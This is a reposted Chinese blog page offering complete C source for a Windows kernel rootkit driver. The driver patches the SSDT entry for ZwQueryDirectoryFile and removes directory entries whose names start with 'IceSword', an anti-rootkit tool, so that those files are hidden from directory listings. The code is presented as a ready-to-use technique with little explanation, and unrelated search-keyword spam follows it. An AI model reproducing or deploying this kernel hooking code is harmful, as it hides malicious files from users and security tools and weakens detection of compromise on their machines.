程序博客网 > 淘宝买的竹席

vc实现RootKit文件隐藏

来源：互联网 发布：淘宝买的竹席 编辑：程序博客网 时间：2024/04/29 18:05

#include "ntddk.h"
#include

#pragma pack(1) //SSDT Table
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);
VOID Unload(IN PDRIVER_OBJECT  DriverObject);

//取代的新函数
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

//API 声明
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

//源地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);

#include "Hidefile.h"

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;

DriverObject->DriverUnload = Unload;

KdPrint(("Driver Entry Called!/n"));

KdPrint(("OldAddress:0x%X/tNewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;

return ntStatus;
}

VOID Unload(IN PDRIVER_OBJECT  DriverObject)
{
KdPrint(("Driver Unload Called!/n"));
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));
return;
}

DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
DWORD result = 0;
switch(FileInfo){
case FileDirectoryInformation:
  result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
  break;
case FileFullDirectoryInformation:
  result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileIdFullDirectoryInformation:
  result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileBothDirectoryInformation:
  result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileIdBothDirectoryInformation:
  result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileNamesInformation:
  result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
  break;
}
return result;
}

void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)
{
switch(FileInfo){
case FileDirectoryInformation:
  ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileFullDirectoryInformation:
  ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileIdFullDirectoryInformation:
  ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileBothDirectoryInformation:
  ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileIdBothDirectoryInformation:
  ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileNamesInformation:
  ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
}
}

PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
PVOID result = 0;
switch(FileInfo){
case FileDirectoryInformation:
  result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
  break;
case FileFullDirectoryInformation:
  result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileIdFullDirectoryInformation:
  result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileBothDirectoryInformation:
  result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileIdBothDirectoryInformation:
  result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileNamesInformation:
  result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
  break;
}
return result;
}

ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
ULONG result = 0;
switch(FileInfo){
case FileDirectoryInformation:
  result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
  break;
case FileFullDirectoryInformation:
  result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileIdFullDirectoryInformation:
  result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileBothDirectoryInformation:
  result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileIdBothDirectoryInformation:
  result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileNamesInformation:
  result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
  break;
}
return result;
}

NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan )
{
NTSTATUS ntStatus = OldZwQueryDirectoryFile(
  FileHandle,
  Event,
  ApcRoutine,
  ApcContext,
  IoStatusBlock,
  FileInformation,
  Length,
  FileInformationClass,
  ReturnSingleEntry,
  FileMask,
  RestartScan);

if(NT_SUCCESS(ntStatus) &&
  FileInformationClass == FileDirectoryInformation ||
  FileInformationClass == FileFullDirectoryInformation ||
  FileInformationClass == FileIdFullDirectoryInformation ||
  FileInformationClass == FileBothDirectoryInformation ||
  FileInformationClass == FileIdBothDirectoryInformation ||
  FileInformationClass == FileNamesInformation
  )
{
  PVOID p = FileInformation;
  PVOID pLast = NULL;
  DWORD pLastOne = 0;
  KdPrint(("<--------/n"));
  do{
   pLastOne = GetNextEntryOffset(p,FileInformationClass);
   KdPrint(("[*]Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));
   if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"IceSword", 16 ) == 16 )
   {
    KdPrint(("[-]Hide...../n"));
    if(pLastOne == 0)
    {
     if (p == FileInformation)
      ntStatus = STATUS_NO_MORE_FILES;
     else
      SetNextEntryOffset(pLast,FileInformationClass, 0);
     break;
    }
    else
    {
     int iPos = ((ULONG)p) - (ULONG)FileInformation;
     int iLeft = (DWORD)Length - iPos - pLastOne;
     RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
     KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",
      iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
     continue;
    }
   }
   pLast = p;
   p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));
  }while (pLastOne != 0);
  KdPrint(("-------->/n"));
}

return ntStatus;
}

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/yincheng01/archive/2009/08/17/4455258.aspx

淘宝买的竹席 淘宝买的竹席
原创粉丝点击
热门IT博客
cpy什么意思网络用语cpy什么意思网络用语
淘宝改差评淘宝改差评
js往数组中添加对象
五轴编程视频
侵犯商标权 淘宝
你比划我网络用语
java守护线程有什么用
淘宝卖家跑哪去了
惠普云计算
python six.iteritems
mysql 子查询 临时表
有约束条件的优化问题
js unicode转中文
淘宝达人单任务价格
类似慕课的 源码
程序员培训多少钱
5g网络架构 3gpp
淘宝飞模社 信用
类似灰鸽子的软件
知寒暑饥饱之神
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防，我是瞎子 手机网页被拦截怎么办 手机qq拦截了怎么办 笔记本cpu不够用怎么办 电脑win8总卡怎么办 手机桌面没图标怎么办 电脑无图标显示怎么办 电脑图标变大了怎么办 电脑没声音图标怎么办 桌面东西没有了怎么办 xp桌面显示不了怎么办 桌面都删除了怎么办 电脑图标不显示怎么办 电脑显示器有重影怎么办 苹果日历没有了怎么办 手机屏幕摔坏了怎么办 win7非正版黑屏怎么办 我想开店没本钱怎么办 大学想转专业怎么办 月经一直不干净怎么办 46岁月经不来了怎么办 想找对象了怎么办 玩守望先锋头晕怎么办 一激动就脸红怎么办 东兴去越南怎么办手续 在南宁怎么办越南签证 神武体力满了怎么办 台式电脑无声音怎么办 笔记本关不了机怎么办 低音唱不下去怎么办 下沉式庭院下雨怎么办 水池子堵了怎么办 cad试用期过了怎么办 ai试用期过了怎么办 ps试用期过了怎么办 罗汉竹叶子发黄怎么办 去塞班岛签证怎么办 塞班岛工作签证怎么办 ps存gif内存不足怎么办 被发好人卡怎么办 手机不显示时间怎么办 笔记本屏幕太小怎么办

程序博客网，程序员的互联网技术博客家园。csdn论坛精品 msdn技术资料都在这里